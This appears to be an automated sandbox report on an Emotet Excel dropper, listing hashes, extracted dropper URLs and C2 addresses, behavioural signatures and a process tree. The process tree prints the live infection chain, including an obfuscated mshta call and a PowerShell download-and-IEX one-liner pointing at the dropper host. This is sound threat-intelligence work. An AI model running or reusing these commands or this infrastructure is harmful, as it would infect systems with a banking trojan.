emotet | f765a633173e55b59f5260b324d16919915b094ea7157d9a4d0a60c13b0e61fb

General

Target

E-2801.xls
Size

35KB
MD5

904a7d4a0a260ac73c3862abea0f4da2
SHA1

55079f76a736a9daf2728976ad00ca3a2e5b9fd2
SHA256

f765a633173e55b59f5260b324d16919915b094ea7157d9a4d0a60c13b0e61fb
SHA512

de49ec26dc89ec2cfd9b85e426f100bdb111c73e07aec46e9d3b6fa8b7939e3be491bd25bc9adb8703698e5104c28e89060d25a085103f43600c8cabe08b4899

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3196	2064	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

35 2860 mshta.exe
42 1108 powershell.exe
44 1108 powershell.exe
46 1108 powershell.exe
54 2748 rundll32.exe
55 2748 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1652 rundll32.exe
2928 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Zvgggnguatvpxmqz\bkci.hoe rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1176 2860 WerFault.exe mshta.exe

flow	pid	process
35	2860	mshta.exe
42	1108	powershell.exe
44	1108	powershell.exe
46	1108	powershell.exe
54	2748	rundll32.exe
55	2748	rundll32.exe

pid	process
1652	rundll32.exe
2928	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Zvgggnguatvpxmqz\bkci.hoe	rundll32.exe

pid	pid_target	process	target process
1176	2860	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2064 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1176	WerFault.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
2748	rundll32.exe
2748	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1176 WerFault.exe
Token: SeDebugPrivilege 1108 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1176	WerFault.exe
Token: SeDebugPrivilege	1108	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE
2064	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2064 wrote to memory of 3196	2064	EXCEL.EXE	CMD.EXE
PID 2064 wrote to memory of 3196	2064	EXCEL.EXE	CMD.EXE
PID 3196 wrote to memory of 2860	3196	CMD.EXE	mshta.exe
PID 3196 wrote to memory of 2860	3196	CMD.EXE	mshta.exe
PID 2860 wrote to memory of 1108	2860	mshta.exe	powershell.exe
PID 2860 wrote to memory of 1108	2860	mshta.exe	powershell.exe
PID 1108 wrote to memory of 1380	1108	powershell.exe	cmd.exe
PID 1108 wrote to memory of 1380	1108	powershell.exe	cmd.exe
PID 1380 wrote to memory of 1652	1380	cmd.exe	rundll32.exe
PID 1380 wrote to memory of 1652	1380	cmd.exe	rundll32.exe
PID 1380 wrote to memory of 1652	1380	cmd.exe	rundll32.exe
PID 1652 wrote to memory of 2928	1652	rundll32.exe	rundll32.exe
PID 1652 wrote to memory of 2928	1652	rundll32.exe	rundll32.exe
PID 1652 wrote to memory of 2928	1652	rundll32.exe	rundll32.exe
PID 2928 wrote to memory of 1152	2928	rundll32.exe	rundll32.exe
PID 2928 wrote to memory of 1152	2928	rundll32.exe	rundll32.exe
PID 2928 wrote to memory of 1152	2928	rundll32.exe	rundll32.exe
PID 1152 wrote to memory of 2748	1152	rundll32.exe	rundll32.exe
PID 1152 wrote to memory of 2748	1152	rundll32.exe	rundll32.exe
PID 1152 wrote to memory of 2748	1152	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\E-2801.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2064

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3196

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2860 -s 1652
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1652

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2928

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zvgggnguatvpxmqz\bkci.hoe",tsVid
8⤵
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zvgggnguatvpxmqz\bkci.hoe",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2748

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
c820e9bdc1b99b9b764824b528499d4b

SHA1
735558ce09e53b46aefaa01766143e2d3701291e

SHA256
a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

SHA512
3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

Download Submit
\ProgramData\QWER.dll
MD5
c820e9bdc1b99b9b764824b528499d4b

SHA1
735558ce09e53b46aefaa01766143e2d3701291e

SHA256
a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

SHA512
3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

Download Submit
\ProgramData\QWER.dll
MD5
c820e9bdc1b99b9b764824b528499d4b

SHA1
735558ce09e53b46aefaa01766143e2d3701291e

SHA256
a7e729f81d1f005d772db774c0de2671bca23dffc32275d69d0dd663065d96ff

SHA512
3fbb33fcf7b3c530736ef7286b47e3869f0f634d938e9be3275c9d7031defa300aff6c9564a5d8470869c85674ee8bff713c8339803cdd3e3ec7536ce5e7783f

Download Submit
memory/1108-415-0x000001804B720000-0x00000180639E0000-memory.dmp

Filesize
386.8MB

Download
memory/1108-559-0x000001804B720000-0x00000180639E0000-memory.dmp

Filesize
386.8MB

Download
memory/1108-501-0x000001804B720000-0x00000180639E0000-memory.dmp

Filesize
386.8MB

Download
memory/1108-281-0x000001804B370000-0x000001804B392000-memory.dmp

Filesize
136KB

Download
memory/1108-335-0x0000018063970000-0x00000180639AC000-memory.dmp

Filesize
240KB

Download
memory/1108-367-0x0000018064010000-0x0000018064086000-memory.dmp

Filesize
472KB

Download
memory/1152-637-0x0000000000D10000-0x0000000000D37000-memory.dmp

Filesize
156KB

Download
memory/1652-611-0x0000000002F60000-0x0000000002F87000-memory.dmp

Filesize
156KB

Download
memory/2064-129-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

Filesize
64KB

Download
memory/2064-128-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

Filesize
64KB

Download
memory/2064-119-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2064-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2064-117-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2064-116-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2064-687-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2064-686-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2064-685-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2064-684-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2064-115-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2748-645-0x0000000004C30000-0x0000000004C57000-memory.dmp

Filesize
156KB

Download
memory/2748-649-0x0000000004DF0000-0x0000000004E17000-memory.dmp

Filesize
156KB

Download
memory/2748-657-0x0000000005210000-0x0000000005237000-memory.dmp

Filesize
156KB

Download
memory/2748-640-0x0000000000DE0000-0x0000000000E07000-memory.dmp

Filesize
156KB

Download
memory/2748-643-0x0000000004B50000-0x0000000004B77000-memory.dmp

Filesize
156KB

Download
memory/2748-655-0x0000000005190000-0x00000000051B7000-memory.dmp

Filesize
156KB

Download
memory/2748-647-0x0000000004D10000-0x0000000004D37000-memory.dmp

Filesize
156KB

Download
memory/2748-653-0x0000000004FB0000-0x0000000004FD7000-memory.dmp

Filesize
156KB

Download
memory/2748-651-0x0000000004ED0000-0x0000000004EF7000-memory.dmp

Filesize
156KB

Download
memory/2928-626-0x0000000004FC0000-0x0000000004FE7000-memory.dmp

Filesize
156KB

Download
memory/2928-624-0x0000000004F60000-0x0000000004F87000-memory.dmp

Filesize
156KB

Download
memory/2928-639-0x0000000005150000-0x0000000005177000-memory.dmp

Filesize
156KB

Download
memory/2928-622-0x0000000004F00000-0x0000000004F27000-memory.dmp

Filesize
156KB

Download
memory/2928-620-0x0000000004DA0000-0x0000000004DC7000-memory.dmp

Filesize
156KB

Download
memory/2928-618-0x0000000004CC0000-0x0000000004CE7000-memory.dmp

Filesize
156KB

Download
memory/2928-615-0x00000000047B0000-0x00000000047D7000-memory.dmp

Filesize
156KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads